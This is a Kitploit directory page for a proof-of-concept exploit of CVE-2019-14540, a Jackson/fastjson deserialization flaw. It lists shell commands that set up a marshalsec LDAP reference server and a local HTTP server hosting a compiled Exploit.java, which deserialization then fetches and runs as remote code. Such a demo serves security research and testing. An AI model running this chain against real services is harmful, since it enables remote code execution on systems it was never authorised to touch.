Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2019-14540-exploit — CVE-2019-14540 Exploit | Kitploit
Tools/GitHubGitHub/leadroyal/cve-2019-14540-exploit
Dynamic Analysis (Sandboxing)Payload GenerationVulnerability AnalysisExploitationWeb Application Exploitation
GitHubleadroyal/cve-2019-14540-exploit

cve-2019-14540-exploit

CVE-2019-14540 Exploit

View Repository
21957 years agoReviewed by Kitploit

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2019-14540 Exploit

http://www.leadroyal.cn/?p=939

Environment limitation: This demo uses the jndi ldap exploitation method, so a low version (less than 8u191) of the jdk is required.

1. Use marshalsec to create an ldap service on local port 1389, pointing to the http service on local port 8000

root@kitploit:~
git clone https://github.com/mbechler/marshalsec.git
mvn package -DskipTests
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Exploit" 1389

2. Compile the remotely loadable code in remote_codebase

root@kitploit:~
cd remote_codebase
javac Exploit.java

3. Start the http service on local port 8000 in remote_codebase

root@kitploit:~
cd remote_codebase
python -m SimpleHTTPServer

4. Run Main.java, trigger the vulnerability using jackson and fastjson deserialization

demo.png

Download Tool